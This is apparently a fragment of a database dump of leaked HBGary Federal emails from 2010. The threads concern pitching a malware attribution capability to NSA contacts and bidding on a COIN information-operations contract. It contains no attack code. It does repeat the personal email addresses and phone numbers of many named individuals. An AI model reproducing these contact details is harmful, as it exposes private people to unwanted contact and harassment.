anyway?\r\n\r\nCheers,\r\n\r\nRalph Ghent\r\nrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 3:24 PM\r\nTo: Ghent, Ralph \r\nSubject: Re: Malware Genome and Attribution\r\n\r\nI did.  I figured it would be flagged by some folks.  I wanted to get\r\nit out there though as i think the potential uses are important.\r\n\r\nSorry for any inconvenience.\r\nAaron\r\n\r\n\r\nSent from my iPad\r\n\r\nOn Jul 19, 2010, at 3:10 PM, \"Ghent, Ralph \"  wrote:\r\n\r\n> Aaron:\r\n>\r\n> Did yu send me an email on 7/16/2010 at 10:27 AM with subject as\r\n> \"Attribution\"?\r\n>\r\n> There is a suspicious email from you with that subject and an\r\nattachment\r\n> that is a jpeg file.\r\n>\r\n> Thx,\r\n>\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Friday, February 05, 2010 7:19 AM\r\n> To: \'Aaron Barr\'\r\n> Subject: RE: Malware Genome and Attribution\r\n>\r\n> Aaron,\r\n> Thx for your kind patience.  Sometimes the optempo here is high and\r\ngood\r\n> new efforts, such as yours, take time to gain traction with the right\r\n> crowd.\r\n>\r\n> Sincerely,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 04, 2010 4:38 PM\r\n> To: Gipson, Vergle\r\n> Cc: Ghent, Ralph ; Fraticelli, David ; Boseman, Barry A; Bodman, Jerry\r\n> M; Trimm, David A; George, Anthony J; Harley Parkes; Carbin, Jeffery\r\nJ.;\r\n> Brenner, Joel F; McFalls, John ; Ingle, Jeffrey T; Korom, Peggy L;\r\n> Raistrick, Nicole ; Meros, Stephen J; Willard, Gerald\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Thank you for the response.  Please let me know when is convenient to\r\n> get together for a discussion.  Feel free to give me a call at\r\n> 719.510.8478.  I am not exactly sure which office you are from, but as\r\na\r\n> heads up we recently received a request to set up a demo and\r\ndiscussion\r\n> with the ANO office, David Luber and Katelyn Sprague.  Not sure if we\r\n> can combine discussions or not.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>\r\n>> Ralph,\r\n>>\r\n>> 	Thanks for reminding me about this one.\r\n>>\r\n>> Dave/Barry/Matt -- follow up on this please.\r\n>>\r\n>> Vergle\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>> To: Ghent, Ralph ; Gipson, Vergle\r\n>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\nParkes;\r\n>\r\n>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>> Subject: RE: Malware Genome and Attribution\r\n>>\r\n>> Vergle,\r\n>> Reminder of the thread below, and your awareness of the efforts of\r\n> Aaron\r\n>> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n>> not seen any response since this was raised in early December.\r\n>>\r\n>> Also, pls see recent news article below:\r\n>>\r\n>> \'Cyber Genome Project\': The military scientists want to establish a\r\n>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n>> document, apiece of malware - to be probed to its very origins.\r\n>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>> investigatory technologies\".\r\n>> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n>>\r\n>> VR,\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Monday, January 11, 2010 3:05 PM\r\n>> To: Gipson, Vergle\r\n>> Subject: FW: Malware Genome and Attribution\r\n>>\r\n>> Vergle:\r\n>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n>> as to possible interest in engaging him to learn of his efforts\r\n(which\r\n>\r\n>> seem to me to be very closely aligned to the Carnegie-Mellon\r\nMalicious\r\n>\r\n>> Code Catalog efforts).\r\n>>\r\n>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n>> holding back on responding til he saw your comments/guidance.\r\n>>\r\n>>\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Friday, January 08, 2010 10:23 AM\r\n>> To: Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Hi Ralph,\r\n>>\r\n>> Happy New Year.\r\n>>\r\n>> I am still very interested to talk to folks there about the Malicious\r\n>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>> interest on that side.  As I mentioned we have recently partnered\r\nwith\r\n>\r\n>> Palantir and are working on a partnership with Netwitness and maybe 1\r\n>> or 2 other small vendors with complimentary technology.  I think\r\n>> something really substantial can be put together.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Did anyone from the NTOC contact you yet?\r\n>>> Respectfully,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>> To: \'Aaron Barr\'\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Aaron,\r\n>>> Many thanks for the additional info and the opportunity to chat\r\n>>> briefly at Leesburg.\r\n>>>\r\n>>> I have pushed your info to those within my Agency who are working\r\n>>> with\r\n>>\r\n>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time\r\nnext\r\n>\r\n>>> week, no one has reached-out to you, pls email me again and I will\r\n>>> follow up with them.\r\n>>>\r\n>>> Sincerely,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Malware Genome and Attribution\r\n>>>\r\n>>> Ralph,\r\n>>>\r\n>>> Thank you for stepping in and asking about my discussion about\r\n>>> Malware\r\n>>\r\n>>> detection, genomes, and attribution.  I am very new to my current\r\n>>> position as CEO of HBGary Federal, prior to this I was the Technical\r\n>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago\r\n>>> if we can make headway against attribution I would have said no, not\r\n>>> until we have better situational awareness, network\r\ncharacterization,\r\n>\r\n>>> CND/CNE integration, etc.\r\n>>>\r\n>>> Then I started to learn about HBGarys Malware Genome database, where\r\n>>> they have characterized 3500 traits of malware to date, and are\r\n>>> starting to make associations of authorship across malware.  I\r\n>>> immediately thought of Palantirs capability to link analysis and had\r\n>> an aha moment.\r\n>>> But I knew that other capabilities needed to be added if we were\r\n>>> seriously going to take a crack at attribution.\r\n>>>\r\n>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n>>> would love to talk with them and combine efforts if appropriate to\r\n>>> develop the capability that is needed to help with this challenge.\r\n>>>\r\n>>> Thank You,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 301.652.8885 x117\r\n>>> 719.510.8478\r\n>>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n',5948,'aaron_hbgary_com/5948.html'),(8823,'2010-07-19','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006730.M46051P14101Q3678.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: EXTERNAL:','How is 3:00?  That way Kathy can join us.  \r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 3:26 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: EXTERNAL:Re: EXTERNAL:\r\n\r\nHow about tomorrow afternoon?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 19, 2010, at 3:17 PM, \"Clair, Chris (TASC)\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> My week is open.  What are some dates/times you have free?\r\n>\r\n> Chris\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, July 19, 2010 2:19 PM\r\n> To: Clair, Chris (TASC)\r\n> Subject: EXTERNAL:Re: EXTERNAL:\r\n>\r\n> Chris,\r\n>\r\n> Probably a good time to talk about what role I would like to play once\r\n> we win.  I know it is impossible until we really see the RFP to\r\n> determine any concise workshare but probably a good idea for you and I\r\n> to have a high level discussion on the topic so we aren\'t surprising\r\n> each other with a perspective that doesn\'t match.  I definitely want\r\nto\r\n> use this contract to rebuild an IO development capability as well as\r\n> provide some of the strategy, planning and security services.  Again\r\nwe\r\n> don\'t know size of contract yet but on the low side I would like 5\r\nFTEs\r\n> and on the high side I would like 10 FTEs (depending on size of\r\n> contract) mostly doing mobile and social media development.  Overall I\r\n> would like 25% of the overall contract value.  So lets set up a time\r\nto\r\n> talk I would like to hear your thoughts.\r\n>\r\n> Aaron\r\n>\r\n> On Jul 19, 2010, at 2:00 PM, Clair, Chris (TASC) wrote:\r\n>\r\n>> Hi Al,\r\n>>\r\n>> We are currently working on defining the positions for key folks we\r\n> want\r\n>> on COIN.  We expect to get the reqs posted by end of the month.\r\n>>\r\n>> By the way, Aaron and I thought it a good idea for you to visit the\r\n>> customer who has the COIN mission.  What are your availabilities for\r\n> the\r\n>> next week or two?  Additionally, who else do you think should attend?\r\n>>\r\n>> Since Aaron has communications with the customer, I defer to him to\r\n>> arrange the meeting.  He also wants to pre-brief you on some of the\r\n>> mission intricacies.\r\n>>\r\n>> We spoke to Google and Apple last week.  They both agreed to be on\r\nour\r\n>> team!  I love this kind of innovation.\r\n>>\r\n>> Our team consists of:\r\n>>\r\n>> - TASC (PMO, creative services)\r\n>> - HB Gary (Strategy, planning, PMO)\r\n>> - Akamai (infrastructure)\r\n>> - Archimedes Global (Specialized linguistics, strategy, planning)\r\n>> - Acclaim Technical Services (specialized linguistics)\r\n>> - Mission Essential Personnel (linguistic services)\r\n>> - Cipher (strategy, planning operations)\r\n>> - PointAbout (rapid mobile application development, list of strategic\r\n>> partners)\r\n>> - Google (strategy, mobile application and platform development -\r\nlong\r\n>> list of strategic partners)\r\n>> - Apple (mobile and desktop platform, application assistance -long\r\n> list\r\n>> of strategic partners)\r\n>>\r\n>> We are trying to schedule an interview with ATT plus some other small\r\n>> app developers.\r\n>>\r\n>>\r\n>> We, truly have the team to beat on this!\r\n>>\r\n>> Let me know if you need more info.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris Clair\r\n>>\r\n>> -----Original Message-----\r\n>> From: Pisani, Albert A. (TASC)\r\n>> Sent: Thursday, July 15, 2010 2:52 PM\r\n>> To: Aaron Barr; Clair, Chris (TASC)\r\n>> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n>> (TASC); Ted Vera\r\n>> Subject: RE: EXTERNAL:\r\n>>\r\n>> Aaron:\r\n>>\r\n>> This is excellent news.\r\n>>\r\n>> All - What progress has been made in identifying and capturing key\r\n> folks\r\n>> that are currently in place supporting the customer?\r\n>>\r\n>> Thanks.\r\n>>\r\n>> AL\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, July 15, 2010 2:25 PM\r\n>> To: Clair, Chris (TASC)\r\n>> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert\r\n> A.\r\n>> (TASC); Garcia, Kathy (TASC); Ted Vera\r\n>> Subject: EXTERNAL:\r\n>>\r\n>> Coin update.\r\n>>\r\n>> I had good conversations with Mary beth, John, and Marek today.  I\r\n>> chided them a bit for not getting the rfp out and they said it looks\r\n>> like they will be able to get it out in august.  John is still very\r\n>> dissatisfied with current work and said they need some of the\r\n>> innovation like they used to have.  :)\r\n>>\r\n>> We talked a lot about mobile and social media and the quickly\r\nchanging\r\n>> landscape.\r\n>>\r\n>> Based on wonderful meetings yesterday and today and our strategy/team\r\n>> i think we are the team to beat.  I talked to John about general\r\n>> capabilities I think his shop needs and he agreed.  This fits right\r\nin\r\n>> our strategy.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',435,'aaron_hbgary_com/435.html'),(8824,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006730.M576720P14101Q3679.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check','You can deposit the 2nd check tomorrow.-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',12454,'aaron_hbgary_com/12454.html'),(8825,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006730.M843405P14101Q3680.eml','\"Ghent, Ralph\" <rdghent@nsa.gov>','Re: Malware Genome and Attribution','Sure.  I should have been more clear.  Internal to your organization\r\nplease share.\r\n\r\nYour the only person that asked.  We are developing a training course\r\non social media and the more I think about the social media problem\r\nthe more it concerns me how easily exploitable we and our\r\nrelationships have become because of social media and other related\r\ntechnologies such as facial/object recognition, location based\r\nservices, voice to text.  I predict we will start to see a rise in\r\nwhat i call infoware, or products/services that deliver content but\r\nare also harvesters of information for other than advertising\r\npurposes.  Easy to do.\r\n\r\nI gave a social media and exploitation presentation at the NSA rebl\r\nconference a month ago.  I can send it to you if your interested.\r\n\r\nThanks for your response.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 19, 2010, at 4:16 PM, \"Ghent, Ralph \"  wrote:\r\n\r\n> No apology needed.  Just making sure it was legit from you.\r\n>\r\n> Altho yu ask for no further distro, may I ensure my NTOC V3 guys (who\r\n> met with yu) see it.\r\n>\r\n> Or did you also incl them in your header anyway?\r\n>\r\n> Cheers,\r\n>\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, July 19, 2010 3:24 PM\r\n> To: Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> I did.  I figured it would be flagged by some folks.  I wanted to get\r\n> it out there though as i think the potential uses are important.\r\n>\r\n> Sorry for any inconvenience.\r\n> Aaron\r\n>\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 19, 2010, at 3:10 PM, \"Ghent, Ralph \"  wrote:\r\n>\r\n>> Aaron:\r\n>>\r\n>> Did yu send me an email on 7/16/2010 at 10:27 AM with subject as\r\n>> \"Attribution\"?\r\n>>\r\n>> There is a suspicious email from you with that subject and an\r\n> attachment\r\n>> that is a jpeg file.\r\n>>\r\n>> Thx,\r\n>>\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Friday, February 05, 2010 7:19 AM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: Malware Genome and Attribution\r\n>>\r\n>> Aaron,\r\n>> Thx for your kind patience.  Sometimes the optempo here is high and\r\n> good\r\n>> new efforts, such as yours, take time to gain traction with the right\r\n>> crowd.\r\n>>\r\n>> Sincerely,\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, February 04, 2010 4:38 PM\r\n>> To: Gipson, Vergle\r\n>> Cc: Ghent, Ralph ; Fraticelli, David ; Boseman, Barry A; Bodman, Jerry\r\n>> M; Trimm, David A; George, Anthony J; Harley Parkes; Carbin, Jeffery\r\n> J.;\r\n>> Brenner, Joel F; McFalls, John ; Ingle, Jeffrey T; Korom, Peggy L;\r\n>> Raistrick, Nicole ; Meros, Stephen J; Willard, Gerald\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Thank you for the response.  Please let me know when is convenient to\r\n>> get together for a discussion.  Feel free to give me a call at\r\n>> 719.510.8478.  I am not exactly sure which office you are from, but as\r\n> a\r\n>> heads up we recently received a request to set up a demo and\r\n> discussion\r\n>> with the ANO office, David Luber and Katelyn Sprague.  Not sure if we\r\n>> can combine discussions or not.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>\r\n>>> Ralph,\r\n>>>\r\n>>> 	Thanks for reminding me about this one.\r\n>>>\r\n>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>\r\n>>> Vergle\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\n> Parkes;\r\n>>\r\n>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Vergle,\r\n>>> Reminder of the thread below, and your awareness of the efforts of\r\n>> Aaron\r\n>>> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n>>> not seen any response since this was raised in early December.\r\n>>>\r\n>>> Also, pls see recent news article below:\r\n>>>\r\n>>> \'Cyber Genome Project\': The military scientists want to establish a\r\n>>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n>>> document, apiece of malware - to be probed to its very origins.\r\n>>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n>>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>>> investigatory technologies\".\r\n>>> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n>>>\r\n>>> VR,\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>> To: Gipson, Vergle\r\n>>> Subject: FW: Malware Genome and Attribution\r\n>>>\r\n>>> Vergle:\r\n>>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n>>> as to possible interest in engaging him to learn of his efforts\r\n> (which\r\n>>\r\n>>> seem to me to be very closely aligned to the Carnegie-Mellon\r\n> Malicious\r\n>>\r\n>>> Code Catalog efforts).\r\n>>>\r\n>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n>>> holding back on responding til he saw your comments/guidance.\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Hi Ralph,\r\n>>>\r\n>>> Happy New Year.\r\n>>>\r\n>>> I am still very interested to talk to folks there about the Malicious\r\n>>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>>> interest on that side.  As I mentioned we have recently partnered\r\n> with\r\n>>\r\n>>> Palantir and are working on a partnership with Netwitness and maybe 1\r\n>>> or 2 other small vendors with complimentary technology.  I think\r\n>>> something really substantial can be put together.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>> Did anyone from the NTOC contact you yet?\r\n>>>> Respectfully,\r\n>>>>\r\n>>>>\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>> To: \'Aaron Barr\'\r\n>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>\r\n>>>> Aaron,\r\n>>>> Many thanks for the additional info and the opportunity to chat\r\n>>>> briefly at Leesburg.\r\n>>>>\r\n>>>> I have pushed your info to those within my Agency who are working\r\n>>>> with\r\n>>>\r\n>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time\r\n> next\r\n>>\r\n>>>> week, no one has reached-out to you, pls email me again and I will\r\n>>>> follow up with them.\r\n>>>>\r\n>>>> Sincerely,\r\n>>>>\r\n>>>>\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>> To: Ghent, Ralph\r\n>>>> Subject: Malware Genome and Attribution\r\n>>>>\r\n>>>> Ralph,\r\n>>>>\r\n>>>> Thank you for stepping in and asking about my discussion about\r\n>>>> Malware\r\n>>>\r\n>>>> detection, genomes, and attribution.  I am very new to my current\r\n>>>> position as CEO of HBGary Federal, prior to this I was the Technical\r\n>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago\r\n>>>> if we can make headway against attribution I would have said no, not\r\n>>>> until we have better situational awareness, network\r\n> characterization,\r\n>>\r\n>>>> CND/CNE integration, etc.\r\n>>>>\r\n>>>> Then I started to learn about HBGarys Malware Genome database, where\r\n>>>> they have characterized 3500 traits of malware to date, and are\r\n>>>> starting to make associations of authorship across malware.  I\r\n>>>> immediately thought of Palantirs capability to link analysis and had\r\n>>> an aha moment.\r\n>>>> But I knew that other capabilities needed to be added if we were\r\n>>>> seriously going to take a crack at attribution.\r\n>>>>\r\n>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n>>>> would love to talk with them and combine efforts if appropriate to\r\n>>>> develop the capability that is needed to help with this challenge.\r\n>>>>\r\n>>>> Thank You,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> 301.652.8885 x117\r\n>>>> 719.510.8478\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n',15614,'aaron_hbgary_com/15614.html'),(8826,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006731.M176363P14101Q3681.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: EXTERNAL:Re: EXTERNAL:','Works.  Thanks.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 19, 2010, at 4:20 PM, \"Clair, Chris (TASC)\"\r\n wrote:\r\n\r\n> How is 3:00?  That way Kathy can join us.\r\n>\r\n> Chris\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, July 19, 2010 3:26 PM\r\n> To: Clair, Chris (TASC)\r\n> Subject: Re: EXTERNAL:Re: EXTERNAL:\r\n>\r\n> How about tomorrow afternoon?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 19, 2010, at 3:17 PM, \"Clair, Chris (TASC)\"\r\n>  wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> My week is open.  What are some dates/times you have free?\r\n>>\r\n>> Chris\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, July 19, 2010 2:19 PM\r\n>> To: Clair, Chris (TASC)\r\n>> Subject: EXTERNAL:Re: EXTERNAL:\r\n>>\r\n>> Chris,\r\n>>\r\n>> Probably a good time to talk about what role I would like to play once\r\n>> we win.  I know it is impossible until we really see the RFP to\r\n>> determine any concise workshare but probably a good idea for you and I\r\n>> to have a high level discussion on the topic so we aren\'t surprising\r\n>> each other with a perspective that doesn\'t match.  I definitely want\r\n> to\r\n>> use this contract to rebuild an IO development capability as well as\r\n>> provide some of the strategy, planning and security services.  Again\r\n> we\r\n>> don\'t know size of contract yet but on the low side I would like 5\r\n> FTEs\r\n>> and on the high side I would like 10 FTEs (depending on size of\r\n>> contract) mostly doing mobile and social media development.  Overall I\r\n>> would like 25% of the overall contract value.  So lets set up a time\r\n> to\r\n>> talk I would like to hear your thoughts.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jul 19, 2010, at 2:00 PM, Clair, Chris (TASC) wrote:\r\n>>\r\n>>> Hi Al,\r\n>>>\r\n>>> We are currently working on defining the positions for key folks we\r\n>> want\r\n>>> on COIN.  We expect to get the reqs posted by end of the month.\r\n>>>\r\n>>> By the way, Aaron and I thought it a good idea for you to visit the\r\n>>> customer who has the COIN mission.  What are your availabilities for\r\n>> the\r\n>>> next week or two?  Additionally, who else do you think should attend?\r\n>>>\r\n>>> Since Aaron has communications with the customer, I defer to him to\r\n>>> arrange the meeting.  He also wants to pre-brief you on some of the\r\n>>> mission intricacies.\r\n>>>\r\n>>> We spoke to Google and Apple last week.  They both agreed to be on\r\n> our\r\n>>> team!  I love this kind of innovation.\r\n>>>\r\n>>> Our team consists of:\r\n>>>\r\n>>> - TASC (PMO, creative services)\r\n>>> - HB Gary (Strategy, planning, PMO)\r\n>>> - Akamai (infrastructure)\r\n>>> - Archimedes Global (Specialized linguistics, strategy, planning)\r\n>>> - Acclaim Technical Services (specialized linguistics)\r\n>>> - Mission Essential Personnel (linguistic services)\r\n>>> - Cipher (strategy, planning operations)\r\n>>> - PointAbout (rapid mobile application development, list of strategic\r\n>>> partners)\r\n>>> - Google (strategy, mobile application and platform development -\r\n> long\r\n>>> list of strategic partners)\r\n>>> - Apple (mobile and desktop platform, application assistance -long\r\n>> list\r\n>>> of strategic partners)\r\n>>>\r\n>>> We are trying to schedule an interview with ATT plus some other small\r\n>>> app developers.\r\n>>>\r\n>>>\r\n>>> We, truly have the team to beat on this!\r\n>>>\r\n>>> Let me know if you need more info.\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Chris Clair\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Pisani, Albert A. (TASC)\r\n>>> Sent: Thursday, July 15, 2010 2:52 PM\r\n>>> To: Aaron Barr; Clair, Chris (TASC)\r\n>>> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n>>> (TASC); Ted Vera\r\n>>> Subject: RE: EXTERNAL:\r\n>>>\r\n>>> Aaron:\r\n>>>\r\n>>> This is excellent news.\r\n>>>\r\n>>> All - What progress has been made in identifying and capturing key\r\n>> folks\r\n>>> that are currently in place supporting the customer?\r\n>>>\r\n>>> Thanks.\r\n>>>\r\n>>> AL\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Thursday, July 15, 2010 2:25 PM\r\n>>> To: Clair, Chris (TASC)\r\n>>> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert\r\n>> A.\r\n>>> (TASC); Garcia, Kathy (TASC); Ted Vera\r\n>>> Subject: EXTERNAL:\r\n>>>\r\n>>> Coin update.\r\n>>>\r\n>>> I had good conversations with Mary beth, John, and Marek today.  I\r\n>>> chided them a bit for not getting the rfp out and they said it looks\r\n>>> like they will be able to get it out in august.  John is still very\r\n>>> dissatisfied with current work and said they need some of the\r\n>>> innovation like they used to have.  :)\r\n>>>\r\n>>> We talked a lot about mobile and social media and the quickly\r\n> changing\r\n>>> landscape.\r\n>>>\r\n>>> Based on wonderful meetings yesterday and today and our strategy/team\r\n>>> i think we are the team to beat.  I talked to John about general\r\n>>> capabilities I think his shop needs and he agreed.  This fits right\r\n> in\r\n>>> our strategy.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',6723,'aaron_hbgary_com/6723.html'),(8827,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006731.M481642P14101Q3682.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Invitation: Brian Hibbeln','That would be great.  SOCOM is one of the only other groups that have certain authorities.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 19, 2010, at 4:03 PM, \"Lachow, Irving Mr OSD ATL\"  wrote:\r\n\r\n> Aaron,\r\n> I look forward to seeing what you produce.  It sounds exciting.  On a\r\n> different front, today I met a guy working social media/IO for SOCOM.  I am\r\n> hoping to meet with him in the future.  Maybe I can arrange for you and he\r\n> to meet as well to discuss some of your ideas.\r\n> Cheers,\r\n> Irv\r\n> \r\n> 